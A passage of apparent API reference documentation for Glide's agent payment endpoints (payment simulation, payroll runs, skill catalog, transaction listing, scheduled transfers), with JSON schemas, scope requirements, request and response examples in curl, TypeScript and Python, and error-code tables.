"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"verdict",
"policy_version",
"reasons",
"simulated_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `payments:simulate` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "payments.simulate",
"params": {
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC"
},
"amount_cents": 75000,
"currency": "USD",
"mcc": "7372"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('read', 'payments.simulate', {
counterparty: {
address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
chain: 'base',
token: 'USDC',
},
amount_cents: 75000,
currency: 'USD',
mcc: '7372',
});
if (result.verdict === 'deny') {
console.error('Payment would be denied:', result.reasons);
} else if (result.verdict === 'allow_with_step_up') {
console.log('Payment requires step-up before initiating');
} else {
console.log('Payment would be allowed — safe to call payments.initiate');
}
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("read", "payments.simulate", {
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC",
},
"amount_cents": 75000,
"currency": "USD",
"mcc": "7372",
})
print(result["verdict"], result["reasons"])
```
## Response examples
Verdict — allowed:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"verdict": "allow",
"policy_version": 3,
"reasons": [],
"simulated_at": "2026-05-04T12:00:00Z"
}
}
```
Verdict — step-up required (amount above threshold, otherwise allowed):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"verdict": "allow_with_step_up",
"policy_version": 3,
"reasons": [
{
"axis": "amount",
"reason_id": "step_up_threshold",
"message": "amount 750000 exceeds step_up_amount_cents 100000"
}
],
"simulated_at": "2026-05-04T12:00:00Z"
}
}
```
Verdict — denied (daily cap would be breached):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"verdict": "deny",
"policy_version": 3,
"reasons": [
{
"axis": "velocity",
"reason_id": "daily_cap_exceeded",
"message": "daily spend cap of 100000 cents would be exceeded; current spend 90000"
}
],
"simulated_at": "2026-05-04T12:00:00Z"
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | --------------- | ------------------------------------------------------------------------------- | ------------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `counterparty.chain` not in enum, `currency` empty, or MCC not exactly 4 digits | Validate against the input schema before calling |
| `-32001` | Unauthorized | Missing/expired grant token | Refresh via `agent.grant.refresh` |
| `-32002` | Policy denied | Grant missing `payments:simulate` scope | Issue a new grant with the required scope |
| `-32603` | Internal error | Envelope or velocity-context fetch failed | Retry — simulate has no side effects |
# payroll.run
Source: https://glide-9da73dea.mintlify.app/agents/api/payroll-run
Request a payroll batch through an enabled payroll integration. The handler returns payroll_v2_blocked when that dependency is unavailable.
Request a payroll batch through an enabled payroll integration. The handler returns payroll\_v2\_blocked when that dependency is unavailable.
## Metadata
| Field | Value |
| ------------------------ | ------------------- |
| Name | `payroll.run` |
| Category | `write` |
| Required scope | `payments:initiate` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | ------------- |
| Title | Run Payroll |
| Read-only | no |
| Destructive | yes |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | yes (step-up) |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"schedule_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"override_payment_date": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
}
},
"required": [
"schedule_id",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"batch_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"recipient_count": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"total_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"status": {
"type": "string",
"enum": [
"queued",
"pending_co_sign",
"broadcasting",
"blocked_by_dep"
]
},
"enqueued_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"batch_id",
"recipient_count",
"total_cents",
"status",
"enqueued_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `payments:initiate` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/write \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "payroll.run",
"params": {
"schedule_id": "f6a7b8c9-d0e1-2345-fabc-456789012345",
"idempotency_key": "payroll-june-2026-run-001"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('write', 'payroll.run', {
schedule_id: 'f6a7b8c9-d0e1-2345-fabc-456789012345',
idempotency_key: 'payroll-june-2026-run-001',
});
if (result.status === 'blocked_by_dep') {
console.warn('V2 payroll infra not yet available on this environment');
} else {
console.log(`Batch ${result.batch_id} queued for ${result.recipient_count} recipients ($${(result.total_cents / 100).toFixed(2)} total)`);
}
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("write", "payroll.run", {
"schedule_id": "f6a7b8c9-d0e1-2345-fabc-456789012345",
"idempotency_key": "payroll-june-2026-run-001",
})
print(result["status"], result["batch_id"], result["recipient_count"])
```
## Response examples
Success — batch queued pending co-signer:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"batch_id": "a7b8c9d0-e1f2-3456-abcd-567890123456",
"recipient_count": 42,
"total_cents": 18750000,
"status": "pending_co_sign",
"enqueued_at": "2026-05-04T07:00:00Z"
}
}
```
V2 payroll infra not yet available:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32006,
"message": "payroll.run depends on V2 payroll infra (Sprint 3-4); not yet shipped on this environment",
"data": { "reason_id": "payroll_v2_blocked" }
}
}
```
Schedule belongs to a different tenant:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "payroll schedule f6a7b8c9-d0e1-2345-fabc-456789012345 is not owned by the calling tenant",
"data": { "reason_id": "schedule_tenant_mismatch" }
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | --------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `schedule_id` not a valid UUID; schedule has zero active recipients (`schedule_empty`); schedule not found (`schedule_not_found`) | Verify the `schedule_id` exists and has at least one recipient |
| `-32001` | Unauthorized | Schedule belongs to a different tenant (`schedule_tenant_mismatch`), or missing/expired grant token | Confirm the `schedule_id` was created under the same entity as the calling grant |
| `-32002` | Policy denied | Grant missing `payments:initiate` scope | Issue a new grant with the required scope |
| `-32006` | Vendor unavailable | V2 payroll infra not shipped on this environment (`payroll_v2_blocked`) | Check the configured payroll integration; the catalog entry does not establish availability |
| `-32004` | Rate limited | Too many batch starts in a short window | Back off by `retry_after_seconds` in the error `data` |
| `-32603` | Internal error | Batch enqueue failed | Retry with the same `idempotency_key`; the call is idempotent |
# skills.list
Source: https://glide-9da73dea.mintlify.app/agents/api/skills-list
Catalog entries and dependency status from glide.co/skills.
Catalog entries and dependency status from glide.co/skills. Each skill advertises its runtime compatibility and whether its upstream dependencies are live in this environment.
## Metadata
| Field | Value |
| ------------------------ | ------------- |
| Name | `skills.list` |
| Category | `read` |
| Required scope | `agents:read` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------- |
| Title | Browse Skills |
| Read-only | yes |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"category_filter": {
"default": "all",
"type": "string",
"enum": [
"ap",
"treasury",
"consumer",
"payroll",
"x402",
"all"
]
}
},
"required": [
"category_filter"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"skills": {
"type": "array",
"items": {
"type": "object",
"properties": {
"slug": {
"type": "string"
},
"display_name": {
"type": "string"
},
"tagline": {
"type": "string"
},
"category": {
"type": "string",
"enum": [
"ap",
"treasury",
"consumer",
"payroll",
"x402"
]
},
"runtime_compat": {
"type": "array",
"items": {
"type": "string",
"enum": [
"claude-desktop",
"chatgpt-apps",
"vertex",
"openclaw",
"hermes"
]
}
},
"dependencies_live": {
"type": "boolean"
},
"install_url": {
"type": "string",
"format": "uri"
}
},
"required": [
"slug",
"display_name",
"tagline",
"category",
"runtime_compat",
"dependencies_live",
"install_url"
],
"additionalProperties": false
}
},
"fetched_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"skills",
"fetched_at"
],
"additionalProperties": false
}
```
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "skills.list",
"params": {
"category_filter": "treasury"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('read', 'skills.list', {
category_filter: 'treasury',
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("read", "skills.list", {
"category_filter": "treasury",
})
print(result)
```
## Response examples
Illustrative response for the catalog's treasury entry. Query your environment for its actual status:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"skills": [
{
"slug": "treasury-yield-agent",
"display_name": "Treasury Yield Agent",
"tagline": "Policy-scoped yield allocation; requires live yield integration",
"category": "treasury",
"runtime_compat": [
"claude-desktop",
"chatgpt-apps",
"vertex"
],
"dependencies_live": false,
"install_url": "https://glide.co/skills/treasury-yield-agent"
}
],
"fetched_at": "2026-05-04T12:00:00Z"
}
}
```
Error — invalid `category_filter` value:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "category_filter must be one of: ap, treasury, consumer, payroll, x402, all",
"data": {
"reason_id": "invalid_enum_value"
}
}
}
```
Error — missing or expired grant token:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "grant token missing or expired",
"data": {
"reason_id": "token_expired"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | ------------------------------------------------------- | ------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `category_filter` is not one of the allowed enum values | Validate against schema before call |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Refresh token via `agent.grant.refresh` |
| `-32002` | Insufficient scope | Grant missing `agents:read` scope | Issue new grant with `agents:read` scope |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Auth
Caller's grant must include the `agents:read` scope. Grants whose scope set is a superset of the required scope are accepted.
# transactions.list
Source: https://glide-9da73dea.mintlify.app/agents/api/transactions-list
Paginated list of this agent's transactions. Scoped to the agent; sibling agents' history never appears. Use cursor for page-through.
Paginated list of this agent's transactions. Scoped to the agent; sibling agents' history never appears. Use cursor for page-through.
## Metadata
| Field | Value |
| ------------------------ | ------------------- |
| Name | `transactions.list` |
| Category | `read` |
| Required scope | `accounts:read` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ----------------- |
| Title | List Transactions |
| Read-only | yes |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"cursor": {
"type": "string"
},
"limit": {
"default": 50,
"type": "integer",
"minimum": 1,
"maximum": 100
},
"since_iso": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"until_iso": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"status_filter": {
"type": "string",
"enum": [
"pending",
"broadcasted",
"settled",
"failed",
"cancelled"
]
}
},
"required": [
"limit"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"transactions": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"tool_call_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"action": {
"type": "string"
},
"amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"currency": {
"type": "string"
},
"counterparty_address": {
"anyOf": [
{
"type": "string"
},
{
"type": "null"
}
]
},
"counterparty_chain": {
"anyOf": [
{
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
{
"type": "null"
}
]
},
"on_chain_tx": {
"anyOf": [
{
"type": "string"
},
{
"type": "null"
}
]
},
"status": {
"type": "string",
"enum": [
"pending",
"broadcasted",
"settled",
"failed",
"cancelled"
]
},
"created_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"broadcasted_at": {
"anyOf": [
{
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
{
"type": "null"
}
]
}
},
"required": [
"id",
"tool_call_id",
"action",
"amount_cents",
"currency",
"counterparty_address",
"counterparty_chain",
"on_chain_tx",
"status",
"created_at",
"broadcasted_at"
],
"additionalProperties": false
}
},
"next_cursor": {
"anyOf": [
{
"type": "string"
},
{
"type": "null"
}
]
},
"fetched_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"transactions",
"next_cursor",
"fetched_at"
],
"additionalProperties": false
}
```
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "transactions.list",
"params": {
"limit": 25,
"since_iso": "2026-05-01T00:00:00Z",
"status_filter": "settled"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
// Fetch the last 25 settled transactions since May 1
const result = await client.call('read', 'transactions.list', {
limit: 25,
since_iso: '2026-05-01T00:00:00Z',
status_filter: 'settled',
});
// Page through if there are more
if (result.next_cursor) {
const nextPage = await client.call('read', 'transactions.list', {
limit: 25,
cursor: result.next_cursor,
});
}
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("read", "transactions.list", {
"limit": 25,
"since_iso": "2026-05-01T00:00:00Z",
"status_filter": "settled",
})
# Page through if there are more
if result["next_cursor"]:
next_page = client.call("read", "transactions.list", {
"limit": 25,
"cursor": result["next_cursor"],
})
print(result)
```
## Response examples
Successful response:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"transactions": [
{
"id": "e5f6a7b8-c9d0-1234-ef01-345678901234",
"tool_call_id": "f6a7b8c9-d0e1-2345-f012-456789012345",
"action": "payments.initiate",
"amount_cents": 150000,
"currency": "USDC",
"counterparty_address": "0x742d35Cc6634C0532925a3b8D4C9B7F3c2e1a4b",
"counterparty_chain": "base",
"on_chain_tx": "0xabc123def456789012345678901234567890123456789012345678901234567890",
"status": "settled",
"created_at": "2026-05-02T10:15:00Z",
"broadcasted_at": "2026-05-02T10:15:12Z"
},
{
"id": "a7b8c9d0-e1f2-3456-0123-567890123456",
"tool_call_id": "b8c9d0e1-f2a3-4567-1234-678901234567",
"action": "payments.initiate",
"amount_cents": 75000,
"currency": "USDC",
"counterparty_address": "HN7cABqLq46Es1jh92dQQisAq662SmxELLLsHHe4YWrH",
"counterparty_chain": "sol",
"on_chain_tx": "5KtXq2hVnP8wCpZr3mYfLqDsE9oAjRkWbN1vGhMuTyXcUi",
"status": "settled",
"created_at": "2026-05-03T14:22:00Z",
"broadcasted_at": "2026-05-03T14:22:04Z"
}
],
"next_cursor": "eyJpZCI6ImE3YjhjOWQwIn0",
"fetched_at": "2026-05-04T12:00:00Z"
}
}
```
Error — `limit` out of range:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "limit must be between 1 and 100",
"data": {
"reason_id": "limit_out_of_range"
}
}
}
```
Error — missing or expired grant token:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "grant token missing or expired",
"data": {
"reason_id": "token_expired"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | ------------------------------------------------------------------------------------------------------- | ------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `limit` out of 1–100 range, invalid `status_filter` enum, or malformed `since_iso`/`until_iso` datetime | Validate against schema before call |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Refresh token via `agent.grant.refresh` |
| `-32002` | Insufficient scope | Grant missing `accounts:read` scope | Issue new grant with `accounts:read` scope |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Auth
Caller's grant must include the `accounts:read` scope. Grants whose scope set is a superset of the required scope are accepted.
# transfer.schedule
Source: https://glide-9da73dea.mintlify.app/agents/api/transfer-schedule
Schedule a future-dated transfer.
Schedule a future-dated transfer. Envelope is evaluated at schedule time AND again at execute time; policy bumps between the two can still deny the scheduled transfer.
## Metadata
| Field | Value |
| ------------------------ | ------------------- |
| Name | `transfer.schedule` |
| Category | `write` |
| Required scope | `payments:initiate` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | ----------------- |
| Title | Schedule Transfer |
| Read-only | no |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"counterparty": {
"type": "object",
"properties": {
"address": {
"type": "string",
"minLength": 1
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string",
"minLength": 1
}
},
"required": [
"address",
"chain",
"token"
],
"additionalProperties": false
},
"amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"currency": {
"type": "string",
"minLength": 1,
"maxLength": 8
},
"execute_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"memo": {
"type": "string",
"maxLength": 280
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
}
},
"required": [
"counterparty",
"amount_cents",
"currency",
"execute_at",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"scheduled_transfer_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"execute_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"policy_version_at_schedule": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"enqueued_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"scheduled_transfer_id",
"execute_at",
"policy_version_at_schedule",
"enqueued_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `payments:initiate` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/write \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-H "Idempotency-Key: sched-payroll-2026-05-15-acme" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "transfer.schedule",
"params": {
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC"
},
"amount_cents": 250000,
"currency": "USD",
"execute_at": "2026-05-15T09:00:00Z",
"memo": "May payroll — Acme contractor",
"idempotency_key": "sched-payroll-2026-05-15-acme"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('write', 'transfer.schedule', {
counterparty: {
address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
chain: 'base',
token: 'USDC',
},
amount_cents: 250000,
currency: 'USD',
execute_at: '2026-05-15T09:00:00Z',
memo: 'May payroll — Acme contractor',
idempotency_key: 'sched-payroll-2026-05-15-acme',
});
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call(
"write", "transfer.schedule",
{
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC",
},
"amount_cents": 250000,
"currency": "USD",
"execute_at": "2026-05-15T09:00:00Z",
"memo": "May payroll — Acme contractor",
"idempotency_key": "sched-payroll-2026-05-15-acme",
},
idempotency_key="sched-payroll-2026-05-15-acme",
)
```
## Response examples
**Accepted (below step-up threshold)**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"scheduled_transfer_id": "a3b4c5d6-e7f8-4a9b-8c0d-1e2f3a4b5c6d",
"execute_at": "2026-05-15T09:00:00Z",
"policy_version_at_schedule": 7,
"enqueued_at": "2026-05-04T14:22:33Z"
}
}
```
**Step-up required (amount over envelope threshold)**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32003,
"message": "scheduled transfer of 250000 cents requires step-up approval before it can be enqueued",
"data": {
"reason_id": "step_up_required",
"step_up_url": "https://app.glide.co/step-up/confirm?sigil=eyJhbGci..."
}
}
}
```
## Errors
| Code | `reason_id` | Meaning |
